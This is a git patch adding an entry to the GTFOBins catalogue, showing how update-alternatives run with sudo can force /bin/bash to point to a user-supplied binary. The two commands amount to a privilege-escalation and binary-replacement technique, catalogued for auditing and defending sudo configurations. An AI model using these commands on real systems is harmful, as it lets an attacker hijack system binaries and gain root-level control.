From e212f234559d856b3edb87b6438fc1fb74c5f31d Mon Sep 17 00:00:00 2001
From: Michael Gisbers <michael@gisbers.de>
Date: Tue, 17 Nov 2020 17:44:46 +0100
Subject: [PATCH] Create update-alternatives.md

Use update-alternatives with sudo to replace system binaries
---
 _gtfobins/update-alternatives.md | 8 ++++++++
 1 file changed, 8 insertions(+)
 create mode 100644 _gtfobins/update-alternatives.md

diff --git a/_gtfobins/update-alternatives.md b/_gtfobins/update-alternatives.md
new file mode 100644
index 0000000..a1f4cd7
--- /dev/null
+++ b/_gtfobins/update-alternatives.md
@@ -0,0 +1,8 @@
+---
+functions:
+  sudo:
+    - description: Replace existing binary with symlink pointing to user supplied binary
+      code: |
+        cp file_to_replace_bash /tmp/bash
+        sudo update-alternatives --force --install /bin/bash bash /tmp/bash 1
+---